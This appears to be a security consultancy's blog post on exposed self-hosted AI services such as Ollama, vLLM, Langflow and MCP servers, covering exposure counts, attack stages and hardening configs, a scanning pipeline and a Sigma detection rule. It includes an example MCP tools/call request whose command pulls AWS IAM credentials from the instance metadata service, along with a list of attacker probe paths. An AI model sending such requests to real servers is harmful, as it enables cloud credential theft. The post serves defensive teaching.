All Interfaces Is Not a Firewall: How 'Local' AI Became the Internet's Easiest Target
It is a scenario playing out across cloud environments all the time: a developer spins up a GPU instance to test an open-weight model, binds the service to all interfaces, and moves on. The box stays up, burning money and waiting for someone to find it. Months later, a routine security audit discovers an Ollama server happily answering prompts from anyone on the public internet—no API key, no reverse proxy, and no authentication at all.
For two years, security discussions around generative AI have fixated on prompt injections, alignment personas, and jailbreaks. But while AppSec teams drafted guardrails and red-teamed system prompts, developers deployed an unmanaged, wide-open infrastructure stack right behind them.
Censys counted roughly 164,000 internet-facing AI hosts in October 2025. By July 2026, that number jumped 63% to nearly 268,000. And as independent audits have repeatedly shown, a huge portion of those endpoints will answer any query without asking for a single credential.
Attackers have noticed. They are no longer bothering to craft clever prompts to trick your model. They are scanning for your exposed ports, hijacking your GPUs, and using your AI tools to pull cloud credentials.
The "Local" AI Trap
The explosion of open-weight models led to a flood of self-hosted developer tools. Teams run Ollama, vLLM, and LocalAI for inference. They stitch workflows together using Open WebUI, Flowise, Langflow, and n8n. They route requests through LiteLLM. And more recently, they connect models to enterprise data using Model Context Protocol (MCP) servers.
Almost all of these tools were designed for local experimentation on a laptop. The developers building them prioritized immediate usability over hardened defaults.
Then teams moved them to the cloud.
# Common lines pulled straight from cloud VM startup scripts
OLLAMA_HOST=0.0.0.0:11434 ollama serve
python3 -m vllm.entrypoints.openai.api_server --host 0.0.0.0 --port 8000
When you deploy a container with Docker, its default network behavior creates a subtle trap. If you publish a port using -p 11434:11434, Docker manipulates your host's iptables rules directly. That publishes the port on all host interfaces, silently bypassing your local UFW firewall. If your cloud security group allows inbound traffic on port 11434 (a common shortcut during debugging), your private test server is instantly a public utility.
Remember: inside a container, your application has to listen on 0.0.0.0 so the Docker bridge can forward traffic to it. The loopback restriction belongs on the host side: publish with -p 127.0.0.1:11434:11434.
What the Numbers Actually Look Like
The scale of this issue is documented across several independent censuses:
- Ollama exposure: In January 2026, SentinelLABS and Censys found 175,108 unique hosts exposing Ollama to the public internet.
- Open prompt endpoints: Intruder scanned over 5,200 exposed Ollama nodes and found that 31% (~1,652 servers) answered prompts without requiring any authentication. Ollama has no built-in login system. vLLM has an
--api-keyflag, but it is disabled by default. - Orchestrators: Censys identified 113,926 exposed hosts running
n8nin its 2026 State of the Internet Report. Modern n8n installations enforce an owner setup screen, but exposed instances remain prime targets for authentication bypasses. - Agentic tools: In a demo scan of roughly 2,000 public-facing AI endpoints using Bishop Fox's
AIMap, 91% of sampled endpoints lacked authentication entirely.
What Attackers Do When They Find You
The attacks hitting this infrastructure usually advance in three stages:
[Stage 1: Resource Theft] --> [Stage 2: Gateway Takeover] --> [Stage 3: Agent Exploitation]
Unauthenticated /v1/chat Compromise LiteLLM / Langflow Abuse Remote MCP Servers
Compute & Quota Theft Harvest Cloud & SaaS Credentials Host RCE via Confused Deputy
1. Free Compute and "LLMjacking"
The most common initial abuse is compute theft. Attackers scan IPv4 space for open inference endpoints, bundle them into proxy networks, and resell access on underground forums.
Operation Bizarre Bazaar documented the first commercial clearinghouse for this activity, logging more than 35,000 attack sessions against open AI endpoints between December 2025 and January 2026. If you have an unauthenticated GPU instance sitting on RunPod or AWS, someone else is likely using it to run inference on your dime.
Open endpoints also invite network reconnaissance. Ollama's /api/pull endpoint strictly speaks OCI registry protocols (which limits arbitrary HTTP SSRF against cloud metadata), but attackers still try to point it to rogue registries to probe internal subnets or crash the process.
2. The Orchestrator as a Single Point of Failure
Teams eventually stop exposing raw model endpoints and deploy orchestrators like LiteLLM, Langflow, or Flowise to manage routing and rate limits.
This introduces a new problem: the orchestrator holds all the keys. It stores API tokens for Anthropic, OpenAI, and AWS Bedrock, and it connects directly to internal databases to log traces. For an attacker, it's the jackpot.
Vulnerabilities in this layer get exploited fast:
- Langflow Unauthenticated RCE (
CVE-2025-3248): An authentication gap on/api/v1/validate/codelet remote attackers execute arbitrary code on the underlying server. Disclosed in April 2025, it landed in CISA's Known Exploited Vulnerabilities catalog a month later following exploitation in the wild. - Cross-Site WebSocket Hijacking: If an engineer runs an orchestration panel on
localhostwithout origin checking and visits a malicious site, scripts on that page can interact with the local service and trigger actions. - Leaked Credentials: Unauthenticated
/metricsendpoints and trace dumps frequently leak environment variables containing API tokens and AWS keys.
The Model Context Protocol (MCP) Vector
The most dangerous shift in AI infrastructure is the move from text generation to action execution.
Initially designed by Anthropic and later donated to the Linux Foundation, the Model Context Protocol (MCP) connects language models to databases, local shell environments, and internal APIs. A client runtime connects to an MCP server that exposes callable tools (run_bash, query_postgres, read_s3):
+---------------+ JSON-RPC 2.0 (Streamable HTTP / stdio) +---------------+
| | <========================================================> | MCP Server |
| AI Agent | | (Database, |
| (Host Runtime)| 1. tools/list | GitHub, S3) |
| | 2. tools/call -> { name: "query_db", args: {...} } | |
+---------------+ +---------------+
MCP has two main transports: local standard input/output (stdio), where the agent launches the server as a child process, and Streamable HTTP (introduced in revision 2025-03-26 to replace the older, deprecated HTTP+SSE setup).
The trouble starts when teams move MCP servers off developer laptops and host them over HTTP on internal pods or cloud servers so the team can share them.
An exposed MCP server on a network is not an API. It is SSH with tool execution.
Bishop Fox found more than 8,000 open MCP servers reachable on the internet, and roughly half of them provided code execution capabilities without authentication.
If your MCP server is reachable without an auth token:
- Attackers can call tools directly. They do not need to interact with the LLM at all. They send raw JSON-RPC requests straight to the server:
POST /mcp HTTP/1.1
Host: mcp-tools.internal.company.com:8080
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "system_exec",
"arguments": {
"command": "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | xargs -I {} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{} | base64"
}
}
}
- Confused Deputy Exploits: Even if the server is only reachable by your agent, untrusted input (a support ticket, a customer email, a scraped webpage) can instruct the model to execute tools against internal networks with whatever permissions the server holds.
What Attacker Scans Look Like
Automated scanners sweep IPv4 space looking for telltale AI paths:
GET /api/tags HTTP/1.1 --> Checks for Ollama and lists installed models
GET /v1/models HTTP/1.1 --> Checks for OpenAI-compatible endpoints (vLLM, LiteLLM)
POST /v1/chat/completions HTTP/1.1 --> Tests if inference is free and unauthenticated
POST /mcp HTTP/1.1 --> Probes for Streamable HTTP MCP servers
GET /sse HTTP/1.1 --> Probes for older 2024-spec MCP servers
POST /api/v1/validate/code HTTP/1.1 --> Targets vulnerable Langflow instances (CVE-2025-3248)
Here is a reconstructed log showing how an unauthenticated probe appears in webserver logs:
{
"timestamp": "2026-03-12T08:14:22.108Z",
"client_ip": "198.51.100.89",
"request": {
"method": "GET",
"uri": "/api/tags",
"headers": {
"User-Agent": "Nuclei - Open-source project (github.com/projectdiscovery/nuclei)",
"Accept": "*/*",
"Accept-Encoding": "gzip"
}
},
"response": {
"status_code": 200,
"body_preview": "{\"models\":[{\"name\":\"llama3.2:latest\",\"size\":2019393189}]}"
},
"action": "LOGGED_ANOMALY"
}
Once a scanner gets a 200 OK on /api/tags or /v1/models, the IP gets cataloged for compute theft or secondary exploitation.
How to Lock This Down
Securing AI infrastructure comes down to standard network hygiene on systems that were treated like toys.
If you take only one piece of advice from this post: never put raw inference or tool servers directly on a public IP.
1. Kubernetes NetworkPolicy
If you run inference on Kubernetes, isolate the pods. The policy below permits ingress only from an authenticated API Gateway, allows DNS resolution, and restricts outbound HTTPS to internal subnets and model registries. It explicitly blocks both IPv4 and IPv6 cloud metadata addresses.
Remember that NetworkPolicies rely on pod networking. They have zero effect on pods running with hostNetwork: true.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: isolate-ai-workloads
namespace: ai-compute
spec:
podSelector:
matchLabels:
role: ai-worker
policyTypes:
- Ingress
- Egress
ingress:
# Permit ingress ONLY from the authenticated Gateway namespace
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: api-gateway
podSelector:
matchLabels:
app.kubernetes.io/name: envoy-gateway
ports:
- protocol: TCP
port: 8000
- protocol: TCP
port: 11434
- protocol: TCP
port: 8080
egress:
# Allow cluster DNS resolution over UDP and TCP
- to:
- namespaceSelector: {}
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
# HTTPS only: route to internal artifact stores and registries while blocking metadata endpoints
- to:
- ipBlock:
cidr: 10.0.0.0/8 # Internal artifact stores (narrow to specific subnets where possible)
- ipBlock:
cidr: 0.0.0.0/0 # External model registries (restrict to specific registry CIDRs where possible)
except:
- 169.254.169.254/32 # Deny AWS/GCP/OpenStack IPv4 metadata
- ipBlock:
cidr: ::/0
except:
- fd00:ec2::254/128 # Deny AWS IPv6 metadata
ports:
- protocol: TCP
port: 443
2. Put an Authenticating Reverse Proxy in Front
If an AI tool cannot run behind a reverse proxy, it is not ready for production.
A common mistake when placing a reverse proxy like Caddy in front of Ollama is forgetting to filter mutation paths like /api/pull. Don't leave those open. Drop model-management endpoints at the proxy layer, enforce a strong Bearer token, and bind Ollama to loopback.
ai.internal.company.com {
tls /etc/ssl/certs/ai-proxy.crt /etc/ssl/private/ai-proxy.key
# Block administrative endpoints from external callers
@blocked_endpoints {
path /api/pull*
path /api/delete*
path /api/push*
path /api/create*
path /api/copy*
}
respond @blocked_endpoints "Forbidden" 403
# Require an authorization token
@missing_auth {
not header Authorization "Bearer {$INFERENCE_GATEWAY_API_KEY}"
}
respond @missing_auth "Unauthorized" 401
# Cap body size to protect against memory exhaustion
request_body {
max_size 10MB
}
# Proxy to locally bound daemon
reverse_proxy 127.0.0.1:11434 {
header_up Host {upstream_hostport}
header_up X-Real-IP {remote_host}
transport http {
response_header_timeout 120s
read_buffer 8192
}
}
log {
output file /var/log/caddy/ai_access.log {
roll_size 50MiB
roll_keep 5
}
}
}
3. Sandbox Your MCP Tools
When an MCP tool executes dynamic scripts or shell commands, do not let it run directly on the host system.
gVisor intercepts system calls in a user-space kernel, while Kata Containers runs workloads inside lightweight microVMs. Both sharply shrink the attack surface of the host kernel. And as long as you avoid mounting host paths or the Docker socket into the container, any shell command run through tool arguments has nothing on the host to touch.
services:
mcp-executor:
image: company/mcp-python-executor:latest
runtime: runsc # Requires gVisor installed on the container host
init: true
read_only: true
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
tmpfs:
- /tmp:rw,noexec,nosuid,size=64M
environment:
- PYTHONUNBUFFERED=1
networks:
- internal_sandbox
deploy:
resources:
limits:
cpus: '1.0'
memory: 512M
networks:
internal_sandbox:
internal: true # Cuts off external internet routing
Scan Your Own Network Before Someone Else Does
If you run security for a team, assume someone has spun up an undocumented AI server.
Standard vulnerability scans with Nuclei only check default web ports (80, 443) when given an IP range. You need a port-discovery step first to catch AI services on ports 11434, 8000, 3000, and 5678:
# Discover open AI ports, probe HTTP services, and run signature templates
naabu -host 10.100.0.0/16 -p 11434,8000,8080,3000,5678,7860 -silent \
| httpx -silent \
| nuclei -tags ollama,vllm,langflow,llm -jsonl -o ai_perimeter_audit.json
Before running this, run nuclei -tl -tags ollama (or whichever tag you're testing) to confirm the templates are actually installed locally.
SIEM Detection Rule
You can also hunt for reconnaissance traffic across your edge reverse proxies. Here is a simple Sigma rule to catch unauthenticated discovery probes from the outside:
title: Public Unauthenticated AI API Enumeration Probe
id: 9a7b2e4c-1d8f-4e3a-92b5-82710bc44122
status: experimental
description: Detects external HTTP requests attempting to enumerate models or invoke tools on unauthenticated AI endpoints.
logsource:
category: webserver
detection:
selection_target_uris:
cs-uri-stem|contains:
- '/api/tags'
- '/v1/models'
- '/api/pull'
- '/mcp'
- '/sse'
selection_methods:
cs-method:
- 'GET'
- 'POST'
filter_authenticated:
sc-status:
- 401
- 403
filter_internal_traffic:
c-ip|cidr:
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
- '127.0.0.1/32'
condition: selection_target_uris and selection_methods and not (filter_authenticated or filter_internal_traffic)
fields:
- c-ip
- cs-method
- cs-uri-stem
- sc-status
falsepositives:
- Legitimate public-facing developer sandbox APIs configured with custom header authentication not logged under standard authorization fields.
level: high
Stop Treating AI Like a Special Case
AI systems run on Linux kernels, bind to TCP sockets, and execute inside containers.
When you leave an Ollama server bound to 0.0.0.0 or expose an unauthenticated MCP server over HTTP, attackers do not care whether your model has good safety guardrails. They care that the host is running an unpatched kernel, has a wide-open port, and can query the AWS metadata service.
Prompt engineering won't save you when your network perimeter is open. This is systems security.
Five Things to Check Today
- Check your security groups. Drop public inbound traffic (
0.0.0.0/0) on ports11434(Ollama),8000(vLLM),3000(Flowise),5678(n8n), and8080. - Bind to loopback. On bare-metal and VMs, bind to
127.0.0.1. In Docker, map with-p 127.0.0.1:11434:11434. If you run vLLM, configure the--api-keyflag. - Treat MCP servers like SSH. Do not expose remote MCP servers without strong token or mTLS authentication. Run interpreter tools in a sandboxed runtime without mounting host volumes or the Docker socket.
- Block metadata endpoints. Cut off access to
169.254.169.254/32(IPv4) andfd00:ec2::254/128(IPv6) from AI worker nodes. Make sure these workloads do not usehostNetwork: true. - Scan your subnets. Pipe a port scanner into
httpxand check whether your own developers have deployed shadow AI servers before external botnets find them.
References & Further Reading
-
SentinelLABS & Censys (January 2026):
Silent Brothers | Ollama Hosts Form Anonymous AI Network Beyond Platform Guardrails
URL:https://www.sentinelone.com/labs/silent-brothers-ollama-hosts-form-anonymous-ai-network-beyond-platform-guardrails/
Documents 175,108 unique internet-accessible Ollama instances. -
Cloud Security Alliance (May 2026):
Exposed AI Infrastructure: Self-Hosted Services Under Attack
URL:https://labs.cloudsecurityalliance.org/research/csa-research-note-exposed-ai-infrastructure-selfhosted-secur/
Research note analyzing Intruder's survey of 5,200+ Ollama servers (31% promptable) and Operation Bizarre Bazaar (35,000+ LLMjacking sessions). -
Censys (October 2026):
2026 State of the Internet Report
Report URL:https://info.censys.com/state-of-the-internet-2026
Industry Coverage: Help Net Security: Exposed AI Infrastructure Report
Coverage URL:https://www.helpnetsecurity.com/2026/10/15/exposed-ai-infrastructure-report/
Global internet census documenting 113,926 internet-facing hosts exposing n8n and a 63% surge in exposed AI systems between late 2025 and mid-2026. -
Bishop Fox (April 2026):
Introducing AIMap: Security Testing for AI Agent Infrastructure
URL:https://bishopfox.com/blog/introducing-aimap-security-testing-for-ai-agent-infrastructure
Launch analysis and methodology for open-source AI agent discovery and testing. -
Help Net Security (May 2026):
AIMap: Open-source tool finds and tests exposed AI endpoints
URL:https://www.helpnetsecurity.com/2026/05/06/aimap-ai-attack-surface-discovery/
Detailed coverage of Bishop Fox telemetry showing 8,000+ open MCP servers and the 91% unauthenticated rate across ~2,000 sampled AI agent endpoints. -
Model Context Protocol Specification:
Transports Specification
URL:https://modelcontextprotocol.io/specification
Official technical specification defining Streamable HTTP (introduced in revision 2025-03-26; HTTP+SSE marked deprecated through current revision 2026-07-28). -
CISA KEV / NIST NVD (May 2025):
CVE-2025-3248: Langflow Missing Authentication Remote Code Execution
URL:https://nvd.nist.gov/vuln/detail/CVE-2025-3248
Catalog entry and technical vulnerability details for Langflow unauthenticated code execution (added to CISA KEV on May 5, 2025).
Craetorian Solutions helps organizations secure self-hosted AI infrastructure, lock down MCP and inference endpoints, and implement zero-trust network controls across cloud and hybrid environments. Backed by 28 years of enterprise IT and cybersecurity experience, we audit and harden production AI stacks before attackers find them. Contact us today → or email us at info@craetoriansolutions.com.